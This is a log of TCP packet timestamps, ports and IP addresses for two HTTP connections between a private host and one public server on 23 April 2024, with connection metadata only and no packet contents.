Apr 23, 2024 08:39:58.961407900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.961510897 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.961517096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.961685896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.961750984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.961771011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.961803913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.961811066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.961867094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.961867094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.962255955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.962289095 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.962311029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.962332010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.962410927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.962430954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.962462902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.962483883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.962563992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.962582111 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.962603092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.962621927 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.962753057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.962754965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.962775946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.962819099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.962821007 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.963110924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.963151932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.963172913 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.963192940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.963218927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.963248968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.963263988 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.963293076 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.963345051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.963388920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.963692904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.963705063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.963735104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.963754892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.963754892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.963804960 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.963922977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.963936090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.963979006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.963982105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.963982105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.963992119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964199066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964221001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.964232922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964246035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964252949 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.964276075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964287043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.964294910 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.964298964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964315891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.964330912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964354038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.964370966 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.964375973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964483023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.964500904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964515924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964566946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964581013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964586973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.964632034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.964632034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.964634895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964699030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.964788914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964854956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964898109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.964931011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.964994907 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.965306997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.965356112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.965377092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.965416908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.965430975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.965435028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.965451002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.965471983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.965471983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.965492964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.965512991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.965563059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.965636015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.965888023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.965909004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.965955019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.965986013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966001987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966037989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966039896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.966041088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.966196060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966219902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.966242075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966253996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966260910 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.966304064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.966304064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.966387987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966401100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966500998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.966656923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966722965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966737032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966784000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.966784000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.966799021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966811895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966824055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966856956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966869116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.966869116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.966876030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.966895103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.967046976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.967070103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.967091084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.967109919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.967298985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.967343092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.967355967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.967564106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.967644930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.967777967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.967799902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.967820883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.967839956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.967858076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.967876911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.967880011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.967901945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.968036890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.968040943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.968050003 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.968094110 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.968096972 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.968122005 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.968291044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.968336105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.968338013 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.968343973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.968494892 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.968537092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.968565941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.968632936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.968780994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.968794107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.968803883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.968825102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.968914986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.968935966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.968988895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.969049931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.969063997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.969132900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.969212055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.969235897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.969283104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.969286919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.969343901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.969364882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.969433069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.969492912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.969505072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.969517946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.969530106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.969537020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.969564915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.969583035 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.969604015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.969618082 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.969633102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.969654083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.969654083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.969682932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.969777107 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.970293999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.970305920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.970318079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.970338106 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.970341921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.970359087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.970359087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.970407009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.970428944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.970571995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.970674992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.970731020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.970750093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.970793962 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.970798969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.970812082 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.970824003 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.970844984 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.970923901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.970946074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.970983982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.970997095 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971054077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971071005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971085072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971106052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971143961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971162081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971245050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971302986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971314907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971321106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971328020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971345901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971430063 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971513987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971548080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971568108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971589088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971601963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971607924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971643925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971653938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971674919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971731901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971751928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971818924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971868038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971880913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971889973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971893072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971913099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971915960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.971935987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.971950054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.972076893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972115040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972161055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972172976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972182035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.972183943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972199917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972207069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.972212076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972219944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.972223997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972268105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972275972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.972275972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.972337008 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.972409010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972493887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972507000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972520113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972532034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972537994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.972551107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.972574949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972588062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972593069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.972599030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972618103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.972636938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.972636938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.972812891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972857952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972892046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972912073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.972985029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.972997904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.973009109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.973010063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.973031044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.973032951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.973046064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.973064899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.973084927 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.973084927 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.973416090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.973465919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.973747969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.973817110 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.973818064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.973830938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.973841906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.973867893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.973881006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.973929882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.973952055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.973989964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974011898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974045992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974054098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974205017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974370003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974384069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974425077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974425077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974479914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974554062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974596024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974596024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974613905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974627972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974642038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974678993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974678993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974688053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974755049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974767923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974776030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974780083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974793911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974802971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974824905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974832058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974845886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974852085 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974878073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974898100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974908113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974926949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974947929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.974967003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.974989891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975012064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975024939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975083113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975217104 CEST	80	49705	138.199.40.58	192.168.2.7
